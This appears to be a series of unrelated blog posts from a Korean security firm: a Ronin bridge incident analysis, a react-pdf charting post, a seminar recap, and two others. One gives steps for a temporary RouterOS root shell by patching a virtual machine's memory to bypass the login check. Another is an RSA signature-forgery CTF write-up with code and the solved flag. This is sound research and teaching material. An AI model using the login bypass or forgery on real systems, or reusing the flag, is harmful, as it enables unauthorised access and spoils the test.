+분석을 하면서 나온 결론은 해당 사고는 Smart Contract Code Level에서 발생한 것이 아니라 Ronin Network의 한축을 담당하고 있는 validator의 private key 유출로 인해서 벌어진 일이라는 것이다.
+ +아래의 주소는 공개된 공격자의 지갑 주소이다.
+ + +보통 블록체인 상에서 보안사고가 발생하면 공격자는 유출한 금액을 Tornado.cash나 다른 mixer를 이용해서 자금의 추적을 어렵게하는데 해당 사고의 공격자는 상당히 대범하게 곧바로 binance, FTX, huobi의 핫월렛에 입금하는 것을 볼 수 있다.
+ +입출금한 거래소가 KYC를 요구하는 거래소라는 점을 생각해볼 때 얼마 지나지않아 공격자의 신원이 특정될 것으로 예상한다.
+ +우선 9개의 validator 중 공격에 사용된 validator의 권한을 정지시켰으며, 기존에 9개의 validator 중 5개의 validator만 승인했던 것에서 8개 이상의 validator가 승인해야만 정상적인 transaction 승인 받도록 변경되었다.
+ +이것은 미봉책에 불과하며, 향후 validator의 수를 늘릴 것으로 공표했다.
+ +기존에 본인이 분석해왔던 블록체인 쪽의 보안사고와는 다소 다른 유형의 사고였다. +지금까지 Smart contract의 Code level상의 취약점만 보다가 Architecture 상 중요한 역할을 하는 EOA의 private key가 유출되어서 그것이 플랫폼 자금의 유출로 이어지는 사건은 처음 분석해보았다. +이로 인해 느낀점은 Smart Contract상에서 Code 뿐만 아니라 구성하고있는 EOA에 대한 보안도 신경써서 관리해야함을 다시한번 깨달았다.
+ +Finding vulnerabilities in RouterOS is tricky, and this is especially because it does not provide a shell environment like ash or bash.
+ +Many vulnerability researchers working on RouterOS felt the same and found various ways to enable the root shell on RouterOS. Unfortunately, most of the methods are no longer available on the latest RouterOS version.
+ +Thankfully, there is a way to jailbreak RouterOS v7 using netboot functionality. This method achieves a root shell by booting through a modified kernel image. However, You need an actual RouterBOARD to use this method, and it is a bit complicated process to generate a modified kernel image and network boot through it.
+ +While researching RouterOS, we eventually wanted to use virtual machines as a testing environment for various reasons. The netboot jailbreak method doesn’t work on virtual machines. So we had to find another way to acheive the root shell, and we did.
+ +This article suggests a simple trick to get a temporary root shell on RouterOS which can only be used on virtual machines and is easy to use.
+ +RouterOS has a hidden “devel” login which is only enabled when specific conditions are met. When enabled, RouterOS gives you an ash shell if you login with id “devel” via telnet. Most of the RouterOS jailbreaking methods focus on enabling the “devel” login.
+ +Before RouterOS version 6.41, There were two options to enable the “devel” login feature.
+/nova/etc/devel-login was removed in version 6.41. So the only option left is the ‘option’ package.
+ +When the telnet connection is made, RouterOS uses /nova/bin/login binary for login authentication. This binary contains the code that checks whether the “devel” login option is enabled or not by checking the ‘option’ package.
+ +/nova/bin/login checks if the ‘option’ package is installed by executing nv::hasOptionPackage function. By analyzing /lib/libumsg.so library, you can see that nv::hasOptionPackage is equaviliant to nv::hasPackage(“option”).
+ +In RouterOS v7, nv::hasPackage returns true only when the following conditions are met
+It is hard to bypass the nv::hasPackage function unless we have an arbitrary code execution vulnerability. Even if we somehow managed to pass the nv::hasPackage(“option”) check, the login binary explicitly executes “/pckg/option/bin/bash” as shell which does not exist by default. we still need to somehow write the shell binary on the location.
+ +So, bypassing the “option” package verifying code is not easy, Unless we can change the program code itself. But that would require you to modify the code running on the live memory. That… is impossible. Isn’t it?
+ +Wait, actually it is possible! Of course, it is. It’s a ‘virtual’ machine after all.
+ +What if the login binary checks for an “ipv6” package instead of the “option” package? What if the login binary executes “/rw/disk/bash” as shell instead of “/pckg/option/bin/bash”?
+ +We can make that happen.
+ +What you need:
+Step:
+First, install RotuerOS on your VM. After the installation, turn the VM off.
+Attach RouterOS VM’s Disk to Ubuntu VM
+Boot the Ubuntu VM, and browse into RouterOS Disk’s volume called ‘RouterOS’. Go to /RW/disk/ and execute the following command to download the busybox binary. Exit the Ubuntu VM.
+$ sudo mkdir busybox && cd busybox
+$ sudo wget -O ash https://www.busybox.net/downloads/binaries/1.31.0-i686-uclibc/busybox_ASH
+$ sudo wget https://www.busybox.net/downloads/binaries/1.31.0-i686-uclibc/busybox
+$ chmod a+x ash busybox
+
Boot RouterOS VM and make several login attempts with the invalid credential.
+Suspend the RouterOS VM. Go to the RouterOS VM folder and open vmem file with hex editor.
+Find & Replace as follows
+Original: 00 2F 62 6E 64 6C 2F 00 6F 70 74 69 6F 6E 00
+Replaced: 00 2F 62 6E 64 6C 2F 00 69 70 76 36 00 00 00
+
+Original: 00 2F 70 63 6B 67 2F 6F 70 74 69 6F 6E 2F 62 69 6E 2F 62 61 73 68 00
+Replaced: 00 2F 72 77 2F 64 69 73 6B 2F 62 75 73 79 62 6F 78 2F 61 73 68 00 00
+
Save the vmem file. Resume the RouterOS VM
+Login with devel/(admin’s password)
+You will get a shell. If not, repeat the process from stage 4.
+cd /rw/disk/busybox
+./busybox --install -s .
+PATH=$PATH:/rw/disk/busybox/
+
This is a ‘simple trick’ method and the shell is not persistent. If you reboot the RouterOS VM, you will have to repeat the process from stage 4.
+ +해킹에 관심을 가지게 된 사람이라면 누구든지 그 실력을 기르기 위해 워게임(Wargame) 사이트에서 문제들을 풀거나 CTF(Capture The Flag) 대회에 출전해 본 적이 있을 것이다. 웹(Web), 리버싱(Reversing), 포너블(Pwnable) 등 여러 분야의 문제들을 만나볼 수 있는데, 특별한 경우를 제외하고 항상 등장하는 분야가 있다. 바로 암호학(Cryptography) 분야이다.
+ +자주 등장하는 만큼 패기 있게 문제를 풀어보려 하지만 암호학 분야의 문제를 처음 접해보는 사람이라면 누구든지 괴상하게 뒤죽박죽 섞여 있거나 숫자로만 되어 있는 암호문을 받아보며 이것을 풀어서 정답을 제출하라는 말에 어떻게 해야 할지 시작부터 막막했던 경험이 있을 것이다.
+ +이번 글에서는 암호학이라는 분야에 대해 막연히 어렵고 복잡하다고 생각하는 사람들을 위해 암호학 분야의 워게임 문제에서 가장 흔하게 나오고 실제 필드에서도 많이 쓰이는 공개키 암호화 기법의 기본 중의 기본, RSA 와 관련된 문제를 풀어보며 암호학이라는 게 그렇게 어렵고 막막하기만 한 것은 아니라는 점을 배워갈 수 있다면 좋겠다.
+ +RSA 는 1978년에 최초로 이 암호시스템을 연구하여 체계화시킨 Ron Rivest, Adi Shamir, Leonard Adleman 의 이름 앞 글자를 따 만들어진 암호화뿐만 아니라 전자서명까지 가능한 최초의 알고리즘이다.
+ +이 RSA 의 강력함은 다음 두 가지에서 나온다.
+ +위 두 가지의 강점으로 인해 현재까지도 RSA 는 널리 쓰이고 있다.
+ +다음으로는 왜 RSA 의 강점을 위 두 가지로 꼽았는지 키 생성부터 암/복호화, 서명/검증 과정을 살펴보며 알아보도록 하겠다.
+ +n = p * q 를 계산한다. +
+3번에서 선택한 수와 서로소인 정수 e 를 고른다.
+ +(두 정수 a, b 의 최대공약수(gcd)가 1 이면 둘은 서로소이다.)
+ +(두 수가 서로소가 아니면 모듈러 역원을 구할 수 없다 → 개인키를 구할 수 없다.)
+ + + +(일반적으로 계산의 효율성을 위해 페르마 수(Fermat Number)가 선택된다.)
+ + +정수 e 에 대한 모듈러 역원인 d 를 계산한다. +
+이제 해당 공개키를 이용하여 누구든지 메시지를 암호화해서 보내면 개인키를 가지고 있는 소유자만 해당 메시지를 복호화할 수 있다. 그렇다면 암/복호화는 어떻게 수행될까? 한번 살펴보자.
+ +위와 같이 정말 간단하게 암/복호화가 수행되며 이에 대한 증명은 RSA 위키에 상세하게 나와있다.
+ +(페르마 소정리, 오일러 정리를 이용하여 증명함)
+ +이번에는 서명/검증이 어떻게 수행되는지 살펴보자.
+ +암/복호화 과정과 순서만 바뀌었을 뿐 거의 동일하게 서명/검증이 수행되며 서명 시 개인키 d 를 이용해 서명이 되기 때문에 누구에게나 공개되는 e 를 이용해 메시지 m 을 복원할 수 없도록 해시 함수를 이용하여 메시지 m 의 해시값인 h 에 서명을 진행하도록 한다.
+ +메시지에 대한 서명이 완료되었다면 암호화된 메시지와 서명을 함께 전송하고 이후 검증 단계에서는 복호화된 메시지의 해시값과 s^e (mod n) 을 계산하여 나온 해시값 h 를 비교하여 일치하는지 확인하면 된다.
+ +이제 RSA 시스템에 대한 기본적인 개념을 배웠으니 흥미로운 속성 하나를 추가로 알려주려고 한다.
+ +준동형 사상이란 대수학에서 구조상 닮은 두 대수 구조의 모든 연산 및 관계를 보존하는 경우를 말한다. 쉽게 말하자면, 어떠한 함수 f(x)
가 있다고 할 때 f(a * b)
가 f(a) * f(b)
와 같다는 것이다 (나눗셈도 마찬가지). 이는 신기하게도 RSA 에도 그대로 적용이 되는데 평문 m
이 a * b
라고 할 때 c ≡ m^e (mod n) 과 c ≡ (a * b)^e ≡ a^e * b^e (mod n) 이 서로 일치한다. 이는 서명에서도 마찬가지이며 예시를 통해 확인해보자.
임의의 소수 p, q 선택 +
+n = p * q 계산 +
+오일러 피함수 계산 +
+오일러 피함수와 서로소인 정수 e 선택 +
+개인키 d 계산 +
+평문 m = a * b 라고 할 때 암호화 과정 비교 +
+서명 과정 비교 (계산 편의를 위해 해시 함수는 미적용) +
+CTF 의 RSA 문제에서 위 속성을 이용한 문제가 꽤나 자주 출제되며 한번 실제로 출제된 문제를 풀어보며 어떤 식으로 응용되는지 살펴보자.
+ +문제명 | +X Factor | +
---|---|
난이도 | +Easy | +
설명 | +Decrypt it! | +
제공파일 | +x_factor.md | +
먼저, 제공된 파일을 열어서 확인해보자.
+ +» Part 1
+ +I have generated a RSA-1024 key pair:
+* public key exponent: 0x10001
+* public key modulus: 0xa9e7da28ebecf1f88efe012b8502122d70b167bdcfa11fd24429c23f27f55ee2cc3dcd7f337d0e630985152e114830423bfaf83f4f15d2d05826bf511c343c1b13bef744ff2232fb91416484be4e130a007a9b432225c5ead5a1faf02fa1b1b53d1adc6e62236c798f76695bb59f737d2701fe42f1fbf57385c29de12e79c5b3
+
첫번째로 RSA 공개키 쌍(Public Exponent: e, Public Modulus: n)
을 16진수 형태로 제공해주고 있다.
» Part 2
+ +Here are some known plain -> signature pairs I generated using my private key:
+* 0x945d86b04b2e7c7 -> 0x17bb21949d5a0f590c6126e26dc830b51d52b8d0eb4f2b69494a9f9a637edb1061bec153f0c1d9dd55b1ad0fd4d58c46e2df51d293cdaaf1f74d5eb2f230568304eebb327e30879163790f3f860ca2da53ee0c60c5e1b2c3964dbcf194c27697a830a88d53b6e0ae29c616e4f9826ec91f7d390fb42409593e1815dbe48f7ed4
+* 0x5de2 -> 0x3ea73715787028b52796061fb887a7d36fb1ba1f9734e9fd6cb6188e087da5bfc26c4bfe1b4f0cbfa0d693d4ac0494efa58888e8415964c124f7ef293a8ee2bc403cad6e9a201cdd442c102b30009a3b63fa61cdd7b31ce9da03507901b49a654e4bb2b03979aea0fab3731d4e564c3c30c75aa1d079594723b60248d9bdde50
+* 0xa16b201cdd42ad70da249 -> 0x9444e3fc71056d25489e5ce78c6c986c029f12b61f4f4b5cbd4a0ce6b999919d12c8872b8f2a8a7e91bd0f263a4ead8f2aa4f7e9fdb9096c2ea11f693f6aa73d6b9d5e351617d6f95849f9c73edabd6a6fde6cc2e4559e67b0e4a2ea8d6897b32675be6fc72a6172fd42a8a8e96adfc2b899015b73ff80d09c35909be0a6e13a
+* 0x6d993121ed46b -> 0x2b7a1c4a1a9e9f9179ab7b05dd9e0089695f895864b52c73bfbc37af3008e5c187518b56b9e819cc2f9dfdffdfb86b7cc44222b66d3ea49db72c72eb50377c8e6eb6f6cbf62efab760e4a697cbfdcdc47d1adc183cc790d2e86490da0705717e5908ad1af85c58c9429e15ea7c83ccf7d86048571d50bd721e5b3a0912bed7c
+* 0x726fa7a7 -> 0xa7d5548d5e4339176a54ae1b3832d328e7c512be5252dabd05afa28cd92c7932b7d1c582dc26a0ce4f06b1e96814ee362ed475ddaf30dd37af0022441b36f08ec8c7c4135d6174167a43fa34f587abf806a4820e4f74708624518044f272e3e1215404e65b0219d42a706e5c295b9bf0ee8b7b7f9b6a75d76be64cf7c27dfaeb
+* 0x31e828d97a0874cff -> 0x67832c41a913bcc79631780088784e46402a0a0820826e648d84f9cc14ac99f7d8c10cf48a6774388daabcc0546d4e1e8e345ee7fc60b249d95d953ad4d923ca3ac96492ba71c9085d40753cab256948d61aeee96e0fe6c9a0134b807734a32f26430b325df7b6c9f8ba445e7152c2bf86b4dfd4293a53a8d6f003bf8cf5dffd
+* 0x904a515 -> 0x927a6ecd74bb7c7829741d290bc4a1fd844fa384ae3503b487ed51dbf9f79308bb11238f2ac389f8290e5bcebb0a4b9e09eda084f27add7b1995eeda57eb043deee72bfef97c3f90171b7b91785c2629ac9c31cbdcb25d081b8a1abc4d98c4a1fd9f074b583b5298b2b6cc38ca0832c2174c96f2c629afe74949d97918cbee4a
+
두번째로 (평문 - 서명)
쌍 7 개를 16진수 형태로 제공해주고 있다.
» Part 3
+ +**What is the signature of 0x686178656c696f6e?**
+
+Take the least significant 16 bytes of the signature, encode them in lowercase hexadecimal and format it as `LINECTF{sig_lowest_16_bytes_hex}` to obtain the flag.
+E.g. the last signature from the list above would become `LINECTF{174c96f2c629afe74949d97918cbee4a}`.
+
세번째로 평문 0x686178656c696f6e
의 서명이 무엇인지 맞춰보라며 서명의 16진수 형태의 마지막 16 바이트를 FLAG 형식에 맞춰 제출하면 된다고 한다.
현재 우리가 알고 있는 정보는 공개키(e, n)
와 (평문 - 서명)
쌍 7개, 그리고 FLAG 인 서명을 구하기 위해 필요한 평문 0x686178656c696f6e
뿐이다. 의미를 알 수 없는 16진수 형태의 숫자로만 가득한 텍스트로부터 어떻게 개인키 d 도 없이 서명을 구할 수 있을까?
바로 위에서 배운 준동형 사상(Homomorphism)을 이용하여 풀면 된다.
+ +먼저 평문 0x686178656c696f6e
을 소인수분해 해보면 다음과 같다 (SageMath 의 factor 함수):
# Implemented in SageMath
+target = 0x686178656c696f6e # 7521425229691318126
+factor(target) # 2 * 197 * 947 * 2098711 * 9605087
+
위와 같이 5 개의 소인수의 곱으로 평문을 표현할 수 있다는 것을 알 수 있다. (m = a * b * c * d * e)
+ +이번에는 주어졌던 (평문 - 서명) 쌍에서 평문들만 소인수분해 해보면 다음과 같다:
+ +pt1 = 0x945d86b04b2e7c7
+pt2 = 0x5de2
+pt3 = 0xa16b201cdd42ad70da249
+pt4 = 0x6d993121ed46b
+pt5 = 0x726fa7a7
+pt6 = 0x31e828d97a0874cff
+pt7 = 0x904a515
+pts = [pt1, pt2, pt3, pt4, pt5, pt6, pt7]
+
+for i in range(7):
+ print(f"pt{i+1}: ", pts[i])
+ print(f"factor(pt{i+1}): ", factor(pts[i]))
+ print()
+
+'''
+[+] Output:
+pt1: 668178073886320583
+factor(pt1): 811 * 947^3 * 970111
+
+pt2: 24034
+factor(pt2): 2 * 61 * 197
+
+pt3: 12196433909207788967273033
+factor(pt3): 970111 * 2098711^2 * 2854343
+
+pt4: 1928075547694187
+factor(pt4): 947 * 970111 * 2098711
+
+pt5: 1919920039
+factor(pt5): 61 * 197^2 * 811
+
+pt6: 57538707471611677951
+factor(pt6): 2098711 * 2854343 * 9605087
+
+pt7: 151299349
+factor(pt7): 197 * 811 * 947
+'''
+
신기하게도 몇몇 소인수들이 평문 0x686178656c696f6e
의 소인수들과 겹친다는 것을 확인할 수 있다. 소인수가 겹치는게 뭐 어떻길래 그런걸까? 우리는 7 개의 (평문 - 서명)
쌍을 알고 있기 때문에 해당 평문을 잘 조합해서 평문 0x686178656c696f6e
과 일치하게 만든다면 RSA 에서의 준동형 사상으로 인해 평문 0x686178656c696f6e
에 개인키 d 를 이용하여 계산한 서명과 동일한 서명을 개인키 d 없이도 구할 수 있게 된다.
위에서 평문 0x686178656c696f6e
이 5 개의 소인수의 곱 형태로 표현이 가능하다는 것을 알았다.
우리는 개인키 d 를 모르기 때문에 m 에 대한 서명을 구할 수 없지만, 7 개의 (평문 - 서명) 쌍을 알고 있고 각 평문의 소인수가 평문 0x686178656c696f6e
의 소인수와 겹치기 때문에 곱하기와 나누기를 적절히 이용하여 평문 0x686178656c696f6e
과 일치하는 수를 구할 수 있다면 해당 수를 구했을 때의 식과 동일하게 7 개의 서명에 적용하여 계산하면 평문 0x686178656c696f6e
에 개인키 d 를 이용하여 계산한 서명과 동일한 서명을 개인키 d 없이도 구할 수 있게 된다는 말이다.
(현재로써는 곱하기, 나누기 중 어떤 연산자가 들어가야 하는지 모르기 때문에 물음표(’?’)로 두었다.)
+ +평문 0x686178656c696f6e
(target)과 일치하는 수를 구하기 위해서는 약간의 머리를 써서 7 개의 평문을 곱하고 나누면 된다. 나의 경우에는 작은 소인수를 가진 평문부터 순서대로 나열해보았다.
pt2 : 2 * 61 * 197
+pt5 : 61 * 197^2 * 811
+pt7 : 197 * 811 * 947
+pt1 : 811 * 947^3 * 970111
+pt4 : 947 * 970111 * 2098711
+pt3 : 970111 * 2098711^2 * 2854343
+pt6 : 2098711 * 2854343 * 9605087
+-----------------------------------------------------------------------------
+target: 2 * 197 * 947 * 2098711 * 9605087
+
이제 곱하기, 나누기를 이용하여 target 과 일치하는 수를 만들면 된다.
+ + pt2: 2 * 61 * 197
+(/) pt5: 61 * 197^2 * 811
+-----------------------------------------------------------------------------------------
+ 2 * 197^(-1) * 811^(-1)
+(*) pt7: 197 * 811 * 947
+-----------------------------------------------------------------------------------------
+ 2 * 947
+(*) pt7: 197 * 811 * 947
+-----------------------------------------------------------------------------------------
+ 2 * 197 * 811 * 947^2
+(/) pt1: 811 * 947^3 * 970111
+-----------------------------------------------------------------------------------------
+ 2 * 197 * 947^(-1) * 970111^(-1)
+(*) pt4: 947 * 970111 * 2098711
+-----------------------------------------------------------------------------------------
+ 2 * 197 * 2098711
+(*) pt4: 947 * 970111 * 2098711
+-----------------------------------------------------------------------------------------
+ 2 * 197 * 947 * 970111 * 2098711^2
+(/) pt3: 970111 * 2098711^2 * 2854343
+-----------------------------------------------------------------------------------------
+ 2 * 197 * 947 * 2854343^(-1)
+(*) pt6: 2098711 * 2854343 * 9605087
+-----------------------------------------------------------------------------------------
+ answer: 2 * 197 * 947 * 2098711 * 9605087
+
+Therefore, answer = pt2 / pt5 * pt7^2 / pt1 * pt4^2 / pt3 * pt6.
+
7 개의 평문을 이용하여 평문 0x686178656c696f6e
(target)과 일치하는 수(answer)를 구했기 때문에 이제 7 개의 서명을 이용하여 동일한 식으로 target 의 서명을 구할 수 있다.
아래는 target 의 서명과 FLAG 를 구하기 위해 사용한 코드이다.
+ +# Implemented in SageMath
+target = 0x686178656c696f6e
+print("target: ", target) # 7521425229691318126
+print("factor(target): ", factor(target)) # 2 * 197 * 947 * 2098711 * 9605087
+print()
+
+answer = pt2 / pt5 * pt7^2 / pt1 * pt4^2 / pt3 * pt6
+print("answer: ", answer) # 7521425229691318126
+print("factor(answer): ", factor(answer)) # 2 * 197 * 947 * 2098711 * 9605087
+print()
+assert target == answer
+
+# Using the same formula as answer including modular n.
+# This is possible because of the homomorphism in unpadded RSA.
+newsig = (sig2 / sig5 * sig7^2 / sig1 * sig4^2 / sig3 * sig6) % n
+print("newsig (int): ", newsig)
+# 111219533890621461179460792242241632450808153632799554790302537773885731996725665970159819970061237994467913213678895572474822930918390150774003109045699291202079975387595071497569834504251162974827309324614046581068300485342202365281472704413710935864495616184160512233863134373547246784976501532318112012352
+newsig = hex(newsig)[2:]
+print("newsig (hex): ", newsig)
+# 9e61c276f698ec48aab7dabfd663f3b2ee75d31c68bf16f6810a3bb9bb1c377e47b2ae8cd7055c7c5848bbedc94798d2965c38b317e42191df0e3f25ca2ee58c5f3e125745479b337516a13e420da29ba48a92ca2ee9720487cda6cdf070e83a4a251c52e331174a0ef642a97a251462a049347a7db8226d496eb55c15b1d840
+print()
+
+'''
+Take the least significant 16 bytes of the signature, encode them in lowercase hexadecimal and format it as `LINECTF{sig_lowest_16_bytes_hex}` to obtain the flag.
+E.g. the last signature from the list above would become `LINECTF{174c96f2c629afe74949d97918cbee4a}`.
+'''
+flag = 'LINECTF{' + str(newsig[-32:]) + '}'
+print("flag: ", flag)
+# flag: LINECTF{a049347a7db8226d496eb55c15b1d840}
+
지금까지 RSA 란 무엇인지, 키 생성, 암/복호화, 서명/검증은 어떻게 이루어지는지 알아보았고, 또 대수학에서의 준동형 사상(Homomorphism) 개념을 CTF 에서 자주 출제되는 유형의 RSA 문제에 적용하여 풀어보았다. 이외에도 수많은 방식의 RSA 공격 기법들이 존재하지만 대부분 위 문제 풀이에서 본 것과 같이 수학적인 개념을 가지고 사칙연산만 할 줄 안다면 금방 이해하고 그것을 문제에 적용할 수 있을 것이다.
+ +암호를 푼다는 것은 얽히고설킨 실타래를 푸는 것과도 같다고 생각한다. 처음 문제를 접했을 때는 도무지 어떻게 이것을 풀어야 한다는 건지 감을 잡을 수조차 없지만 천천히 둘러보다 보면 문제를 해결할 수 있는 실마리를 잡을 수 있을 것이다. 이 글이 암호학 문제를 푸는 이들에게 좋은 시작점이 되기를 기원하며 글을 마무리하도록 하겠다.
+ +올해 초, 월간 레포트 리뉴얼 이라는 업무를 새롭게 배정받게 되었습니다. +디자인은 회사 대표 디자이너이신 재성님이 아주 아름답게 만들어주셨지만, 코드로 PDF를 만들거나 다뤄본 적이 없는 저는 막연한 두려움을 갖게 되었습니다.
+ +기존에 사용하던 코드로도 월말마다 회사 Jira에 저장되는 이슈들을 정리하여 메일로 보내기에는 충분했습니다. +하지만 프로젝트 코드가 관리가 잘 되지 않아서 새로운 디자인을 적용하고, 새로운 데이터를 뽑아내기 위해 이 코드를 처음부터 리딩하기는 조금 힘든 상황이였습니다. +특히, 주로 사용하는 언어도 다르기도 했구요.
+ ++ |
---|
코드 관리 절망편 | +
따라서 저는 제가 주로 사용하는 Typescript와 React 기반으로 월간 레포트 시스템을 새로 만들기로 했습니다. 기존처럼 스크립트 형태로도 작성할 수 있지만, 예전에 보낸 레포트 조회나 이미지 변경 등을 개발자인 저 뿐만 아니라, 다른 분들도 플랫폼을 통해 확인할 수 있으면 더 좋을 것 같아서 웹 시스템으로 개발하기 위한 계획을 세웠습니다.
+ +월간 레포트에서 사용하는 데이터는 저희 Jira와 Confluence에서 가져오게 됩니다. +사실 Jira나 Confluence에서 데이터를 불러오거나 페이지를 생성하는 API는 너무나도 잘 되어있어서 큰 무리 없이 사용할 수 있었습니다.
+ +하지만, 가장 큰 문제는 역시 가져온 데이터를 기반으로 새로운 PDF 를 생성하는 과정이였습니다.
+ + + +react-pdf는 React를 기반으로 PDF를 렌더링하거나 생성할 수 있는 라이브러리 입니다.
+라이브러리에서 제공하는 Document
컴포넌트를 기반으로 PDF 파일을 렌더링하며, StyleSheet
를 통해서 기존 jsx 처럼 글자나 뷰 자체에 스타일링을 할 수 있도록하는 다양하고 필수적인 기능을 포함하고 있습니다.
또한 svg
도 지원하기 때문에, 이미지나 차트 등도 쉽게 표현할 수 있습니다.
그래서 저는 react-pdf
를 기반으로 디자인된 PDF를 만들기 시작했습니다.
사실 react-pdf
라는 라이브러리를 발견했을 때, 작업이 금방 끝날 줄 알았습니다.
+하지만, 사용하다보니 생각하지 못한 몇 가지 문제점들을 마주하게 되었습니다.
차트컴포넌트 -> svg -> react-pdf
의 형식으로 쓰면 오류가 발생하는 바람에 결국 스스로 만들어서 썼습니다.특히, 마지막 3번이 저를 굉장히 괴롭히게 되었습니다.
+ +월간 레포트의 특성 상, 차트나 표가 대부분의 데이터를 이루고 있었습니다. +특히, 차트는 원형, 막대형 그래프 등 다양한 그래프를 사용할 예정이였기 때문에 작업에 지장이 있을 수 밖에 없었습니다.
+ +다행히, react-pdf
에서는 svg를 다루기 위한 여러 컴포넌트가 존재하고 있었습니다.
+그 중에서 사용한 것은 Path
이였습니다.
PieGraph를 만들 때, 전체 데이터 중에서 차지하는 부분의 각도와 반지름을 통해 각각의 좌표를 구했습니다.
+ +function _toXY(cX: number, cY: number, r: number, degrees: number) {
+ const rad = (degrees * Math.PI) / 180.0;
+ return {
+ x: cX + r * Math.cos(rad),
+ y: cY + r * Math.sin(rad),
+ };
+}
+
+function toPieChartItemPath(
+ x: number,
+ y: number,
+ radiusIn: number,
+ radiusOut: number,
+ startAngle: number,
+ endAngle: number
+) {
+ startAngle += 270;
+ endAngle += 270;
+ const startIn = _toXY(x, y, radiusIn, endAngle);
+ const endIn = _toXY(x, y, radiusIn, startAngle);
+ const startOut = _toXY(x, y, radiusOut, endAngle);
+ const endOut = _toXY(x, y, radiusOut, startAngle);
+ const arcSweep = endAngle - startAngle <= 180 ? "0" : "1";
+ const d = [
+ "M",
+ startIn.x,
+ startIn.y,
+ "L",
+ startOut.x,
+ startOut.y,
+ "A",
+ radiusOut,
+ radiusOut,
+ 0,
+ arcSweep,
+ 0,
+ endOut.x,
+ endOut.y,
+ "L",
+ endIn.x,
+ endIn.y,
+ "A",
+ radiusIn,
+ radiusIn,
+ 0,
+ arcSweep,
+ 1,
+ startIn.x,
+ startIn.y,
+ "z",
+ ].join(" ");
+ return d;
+}
+
이를 Svg 안의 Path 객체로 선을 그리고, 그 안을 색으로 채워 그래프를 그릴 수 있게 했습니다. 코드는 다음과 같습니다.
+ +const PieGraph:React.FC<{datas: Data[]}> = ({datas}) => {
+ return <Svg width="256" height="172">
+ {data.map((item, idx) => (
+ <Path
+ key={item.id}
+ d={toPieChartItemPath(128, 86, 0, 64, range[idx], range[idx + 1])}
+ fill={colors[item.id]}
+ />
+ ))}
+ </Svg>
+}
+
예시
+ + + +PolyLine
컴포넌트를 통해 외부에 퍼센트를 나타낼 수 있게도 구현하였습니다.
이런 방식으로 PieGraph와 LineGraph도 그릴 수 있었습니다.
+ +아마도 react-pdf
에서 일반적인 태그를 사용하지 않아서 nivo와 같은 차트 라이브러리들이 작동하지 않았을 것 같습니다.
이제는 제가 만든 새로운 코드를 기반으로 많은 고객사에 앱슈트 월간 레포트가 전달되고 있습니다.
+ +처음에 기획했던 기능들을 전부 넣지는 못했지만, 계속 업데이트를 해서 사내에서 가장 유용하게 사용하는 프로젝트가 되기를 바랍니다.
+ +
+
+ Banner
+
안녕하세요! 저는 스틸리언의 김도현 선임연구원입니다.
+ +2022년 6월 29일, 스틸리언에서 주관하는 첫 세미나가 성공적으로 진행되었습니다.
+ +대망의 첫 세미나에서는 SSL1 수료생 분들의 연구에 대해 소개하는 SSL 세션과, 스틸리언 연구원들의 연구에 대해 소개하는 Open 세션 그리고 오프라인에서만 진행하는 Secret 세션이 있었는데요, 이번 세미나는 유튜브를 통해 온라인으로도 송출하였기 때문에 혹시나 내용을 중간에 놓치셨거나, 시간이 없어 참석하지 못하신 분들은 다시보기를 통해 언제든 자유롭게 저희의 발표를 즐겨주시면 감사하겠습니다.
+ +혹시나 아직 이번 세미나의 재미있는 발표 주제들을 듣지 못 하신분들을 위해서 이렇게 주제들에 대한 간단한 소개와 요약을 작성해 보았습니다.
+ +
+
+ 발표 현장
+
세미나의 첫발은 제가 내디뎠습니다.
+ +저의 주요 관심사 중 한가지는 다양한 어플리케이션 또는 임베디드 장비의 취약점을 찾는 것입니다. +이런류의 버그바운티 또는 프로젝트를 해 보신분들은 잘 아시겠지만, 생각보다는 국내의 타겟들은 아직도 복잡도가 낮은 취약점들이 많이 나오고 있습니다.
+ +이런 취약점들을 effortless하게 발굴하기 위해서 저는 Static Vulnerability Analysis 또는 Static Program Analysis for Vulnerability Research라는 방법을 이용했습니다. 이번 발표에서는 Static Vulnerability Analysis에 대한 기본적인 소개와, Fuzzing과 비교하여 이 기법의 장점과 단점에 대해 설명하고, 간단한 몇가지 테크닉에 대해 발표했습니다.
+ +또한 마지막에는 소개드린 주제를 바탕으로 SSL 3기에서 진행할 내용에 대해 소개 드렸습니다.
+ +영상에서는 28:49부터 저의 발표가 시작되니, 재미있게 들어주시면 감사하겠습니다 🤩
+ +
+
+ 발표 현장
+
두번째 발표는 SSL 2기 수료생 황선우님이 진행해 주셨습니다.
+ +IDA Pro에서 제공하는 API를 이용하여 malware 분석, plugin에 대한 소개 및 CTF 문제를 IDAPython으로 해결하는 방법에 대해 소개 해 주셨습니다.
+특히 Windows OS의 application이 GetModuleHandleA()
, LoadLibraryA()
, GetProcAddress()
chain을 이용해 binary에서 실행하고자 하는 procedure의 주소를 가져올 때, IDAPython을 이용하여 난독화 된 대상 library 및 procedure의 이름(문자열)을 복구할 수 있는 방법을 소개 해 주셨던 점이 저에게는 인상깊었습니다.
이후에는 b01lers CTF - TM
, DCTF - Glade
문제를 직접 IDAPython을 이용하여 분석하는 예를 보여주시기도 하였습니다.
영상에서는 1:08:25부터 선우님의 발표가 시작되니, IDAPython의 강력한 기능을 이용해 보고 싶으신 분들은 한번 꼭 시청 해 보셔야겠네요 😎
+ +
+
+ 발표 현장
+
세번째 발표 또한 SSL 2기 수료생 장재훈님이 진행해 주셨습니다.
+ +장재훈님께서는 SSL 2기의 주제인 ‘권한 상승 취약점 분석 방법론’을 바탕으로 추가로 연구한 내용을 더해 이번 발표를 해 주셨습니다. +방법론2에는 권한 상승 취약점을 관리적 측면, 기술적 측면으로 나누어 소개하고 있는데, 각 취약점에 대한 디테일이 더해져 보는 맛이 있는 발표였던 것 같습니다.
+ +또한 이번 발표에는 ‘File Junction’, ‘Named Pipe Impersonation’ 등 개발자가 유의하지 않으면 발생하기 쉽고, 치명적인 버그 클래스들에 대해서도 소개 해 주셨습니다.
+ +요즘의 시스템들은 권한 분리가 잘 되어있는 경우가 많아지고 있지만, 권한이 분리 된 환경에서도 여전히 실수가 발생하면 성공적으로 공격을 수행시킬 수 있다는 사실을 이번 발표를 통해 잘 보여주신 것 같습니다.
+ +영상에서는 1:59:05부터 재훈님의 발표가 시작됩니다. SSL을 통해 어떤 프로젝트를 진행하며 뭘 배워갈 수 있을지에 대해 궁금하신 분들은 한번 시청 해 보시는 것을 추천 드립니다! 👏
+ +
+
+ 발표 현장
+
